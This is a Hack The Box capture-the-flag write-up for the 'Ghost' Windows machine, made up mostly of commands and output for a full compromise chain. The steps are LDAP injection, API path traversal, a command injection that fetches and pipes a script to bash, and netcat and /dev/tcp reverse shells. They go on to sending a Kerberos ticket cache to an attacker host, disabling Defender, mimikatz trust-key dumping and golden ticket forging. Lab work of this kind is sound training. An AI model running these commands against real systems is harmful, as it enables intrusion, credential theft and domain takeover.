> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / WINDOWS / 2026-03-27

Hack The Box — Ghost (Windows)

Multi-stage compromise from LDAP injection and Ghost API file read to container escape pathing, AD trust key extraction, cross-realm golden ticket forging, and final domain admin access.

Target

  • IP: 10.10.11.24

Recon

sudo nmap -sC -sV 10.10.11.24 -p- -v
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-16 12:26:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
|_http-title: Ghost
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
50999/tcp open  msrpc         Microsoft Windows RPC
64954/tcp open  msrpc         Microsoft Windows RPC
65010/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Add to /etc/hosts:

  • ghost.htb
  • dc01.ghost.htb
  • core.ghost.htb

Go to https://ghost.htb:8443/, click the button. You are redirected to https://federation.ghost.htb/. Add federation.ghost.htb to /etc/hosts.

Go to http://ghost.htb:8008/.

gobuster vhost -u 'http://ghost.htb:8008/' -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --append-domain
Found: intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--> /login]

Add intranet.ghost.htb to /etc/hosts.

LDAP injection on intranet

Go to http://intranet.ghost.htb:8008/. Use * as username and password. Login works, so LDAP injection is present.

Main page note says Gitea migration is ongoing and only gitea_temp_principal can log in, with password stored in LDAP.

There is a users page with usernames. We can use LDAP injection to extract user credentials. See attachment script:

  • attachments/ldap_injection.py

Recovered credentials include:

  • arthur.boyd:lhhx3kylwqdjxjqp
  • gitea_temp_principal:szrr8kpc3z6onlqf

Add gitea.ghost.htb to /etc/hosts. Go to http://gitea.ghost.htb:8008/. Login with:

  • gitea_temp_principal:szrr8kpc3z6onlqf

Two repositories:

  • ghost-dev / blog
  • ghost-dev / intranet

Download both.

Ghost API abuse

In repo blog we find Ghost API key:

  • a5af628828958c976a3b6cc81a
curl "http://ghost.htb:8008/ghost/api/content/settings/?key=a5af628828958c976a3b6cc81a"
{"settings":{"title":"Ghost","description":"Thoughts, stories and ideas.","logo":null,"icon":null,"accent_color":"#FF1A75","cover_image":"https://static.ghost.org/v5.0.0/images/publication-cover.jpg","facebook":"ghost","twitter":"@ghost","lang":"en","locale":"en","timezone":"Etc/UTC","codeinjection_head":null,"codeinjection_foot":null,"navigation":[{"url":"/","label":"Home"}],"secondary_navigation":[],"meta_title":null,"meta_description":null,"og_image":null,"og_title":null,"og_description":null,"twitter_image":null,"twitter_title":null,"twitter_description":null,"members_support_address":"noreply","members_enabled":false,"allow_self_signup":false,"members_invite_only":false,"paid_members_enabled":false,"firstpromoter_account":null,"portal_button_style":"icon-and-text","portal_button_signup_text":"Subscribe","portal_button_icon":null,"portal_signup_terms_html":null,"portal_signup_checkbox_required":false,"portal_plans":["free"],"portal_default_plan":"yearly","portal_name":true,"portal_button":true,"comments_enabled":"off","recommendations_enabled":false,"outbound_link_tagging":true,"default_email_address":"noreply@ghost.htb","support_email_address":"noreply@ghost.htb","url":"http://ghost.htb/","version":"5.78"},"meta":{}}

Version is 5.78.

From modified source in blog, we see this logic:

async query(frame) {
    const options = {
        ...frame.options,
        mongoTransformer: rejectPrivateFieldsTransformer
    };
    const posts = await postsService.browsePosts(options);
    const extra = frame.original.query?.extra;
    if (extra) {
        const fs = require("fs");
        if (fs.existsSync(extra)) {
            const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
            posts.meta.extra = { [extra]: fileContent };
        }
    }
    return posts;
}

So we can use extra with path traversal.

curl -H "Accept-Version: v5.0" "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/passwd"

/etc/passwd is returned and we notice user node.

curl -H "Accept-Version: v5.0" "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ"
HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000

We get:

  • DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

Command injection in intranet dev scan

curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -d '{"url": "; sleep 3"}' -H 'Content-Type: application/json' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -vv

Server hangs for 3 seconds, so injection is valid.

Create a file rev with content:

bash -i >& /dev/tcp/10.10.16.10/4444 0>&1

Start listeners:

python3 -m http.server 80
nc -vlnp 4444
curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -d '{"url": "; curl http://10.10.16.29/rev | bash"}' -H 'Content-Type: application/json' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -vv

Reverse shell obtained. We are root in a Docker container.

Upload static ncat binary (https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat) to target in /tmp. Transfer DB for local checks:

nc -vlnp 5000 > database.sqlite
/tmp/ncat 10.10.16.29 5000 < database.sqlite
sqlite3 database.sqlite

No useful data.

cd /
cat docker-entrypoint.sh

We find:

sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation exit
printenv
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
JWT_SECRET=*xopkAGbLyg9bK_A

AD and portal credential checks

crackmapexec ldap ghost.htb -u 'Intranet_Principal' -p 'He!KA9oKVT3rL99j'
LDAP        DC01.ghost.htb  389    DC01             [+] ghost.htb\Intranet_Principal:He!KA9oKVT3rL99j

Go to https://ghost.htb:8443/ -> login -> redirected to federation. Login with:

  • florence.ramirez@ghost.htb:uxLmt*udNc6t3HrF

We are redirected to https://core.ghost.htb:8443/unauthorized.

Sorry, this page is only currently available to the Administrator
You are currently logged in as: florence.ramirez
crackmapexec smb ghost.htb -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF' --shares
crackmapexec ldap ghost.htb -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF'

Credentials are valid.

Kerberos cache theft from another container

From initial container:

ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation

Now in another Docker container.

cat /docker-entrypoint.sh
printenv

We notice:

  • KRB5CCNAME=FILE:/tmp/krb5cc_50

Transfer ticket cache:

Attacker:

nc -vlnp 5000 > krb5cc_50

Victim:

cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.29/5000

Attacker setup:

export KRB5CCNAME=$(pwd)/krb5cc_50
bloodhound-python -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF' -ns 10.10.11.24 -d 'ghost.htb' -dc 'DC01.ghost.htb' -c All -k

Then:

sudo neo4j console
bloodhound --no-sandbox

Update /etc/krb5.conf realm with:

GHOST.HTB = {
        kdc = DC01.ghost.htb
        admin_server = ghost.htb
        default_domain = ghost.htb
}

Run LDAP via Kerberos:

ldapsearch -H ldap://10.10.11.24 -Y GSSAPI -s base
ldapsearch -H ldap://10.10.11.24 -Y GSSAPI -b 'cn=users,dc=ghost,dc=htb' 'user' 'description'

No useful result.

DNS spoofing and hash capture

On http://intranet.ghost.htb:8008/forum, post by justin.bradley references bitbucket.ghost.htb checks. So perform DNS spoofing.

sudo responder -I tun0
git clone https://github.com/dirkjanm/krbrelayx/
cd krbrelayx
python3 dnstool.py -u 'ghost\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -r bitbucket.ghost.htb -a add -t A -d 10.10.16.29 10.10.11.24

After waiting we capture:

[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:4331058509b3a86c:16E781483EB7F68386896E68E27AED54:010100000000000003BCBAF0C0D9DA0195E02CDE08FD613C00000000020008004700430041004B0001001E00570049004E002D003300370049005100550048005300480045004B004100040014004700430041004B002E004C004F00430041004C0003003400570049004E002D003300370049005100550048005300480045004B0041002E004700430041004B002E004C004F00430041004C00050014004700430041004B002E004C004F00430041004C0008003000300000000000000000000000004000007DD307095A2E006EC54280BB3A07AFEE09FC5304599F77F8288C42905544E1210A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

Could not crack.

MSSQL command execution and SYSTEM shell

mssqlclient.py -port 1433 -windows-auth "ghost.htb/florence.ramirez:uxLmt*udNc6t3HrF@10.10.11.24"

In SQL shell:

use_link[PRIMARY]
use master
exec_as_login sa
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Download nc64.exe from:

  • https://github.com/int0x33/nc.exe/raw/master/nc64.exe

Attacker:

nc -vlnp 4444

Victim via xp_cmdshell:

xp_cmdshell powershell -c "curl http://10.10.16.52/nc64.exe -o $env:TEMP\nc64.exe"
xp_cmdshell powershell -c "$env:TEMP"
C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp
xp_cmdshell powershell -c "C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp\nc64.exe -e cmd.exe 10.10.16.52 4444"

Reverse shell obtained.

Upload winpeas (https://github.com/peass-ng/PEASS-ng/releases) and run it. Host appears vulnerable to EfsPotato. Exploit repo:

  • https://github.com/zcgonvh/EfsPotato

Transfer EfsPotato.exe and nc64.exe:

curl http://10.10.16.52/EfsPotato.exe -o EfsPotato.exe
curl http://10.10.16.52/nc64.exe -o nc64.exe

Attacker:

nc -vlnp 4444

Victim:

.\EfsPotato.exe ".\nc64.exe -e cmd.exe 10.10.16.52 4444"

Now shell is NT AUTHORITY\SYSTEM.

Trust key extraction and golden ticket

Disable AV:

Set-MpPreference -DisableRealtimeMonitoring $true

Upload and run mimikatz:

.\mimikatz "lsadump::trust /patch" exit

Important values:

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In-1] CORP.GHOST.HTB -> GHOST.HTB
* rc4_hmac_nt       dae1ad83e2af14a379017f244a2f5297

Collect these SIDs (BloodHound or PowerView):

  • krbtgt: S-1-5-21-4084500788-938703357-3654145966-502
  • corp.ghost.htb: S-1-5-21-2034262909-2733679486-179904498-502
  • ghost.htb: S-1-5-21-4084500788-938703357-3654145966-519

Forge ticket:

.\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1–5–21–2034262909–2733679486–179904498-502 /sids:S-1–5–21–4084500788–938703357–3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit

golden.kirbi is generated.

Upload Rubeus (NetFramework_4.7_x64) from:

  • https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/Rubeus.exe
.\Rubeus.exe asktgs /ticket:golden.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

Output indicates successful TGS request and ticket import.

Flag access

cd \\dc01.ghost.htb\c$
cd Users
type justin.bradley\Desktop\user.txt
type Administrator\Desktop\root.txt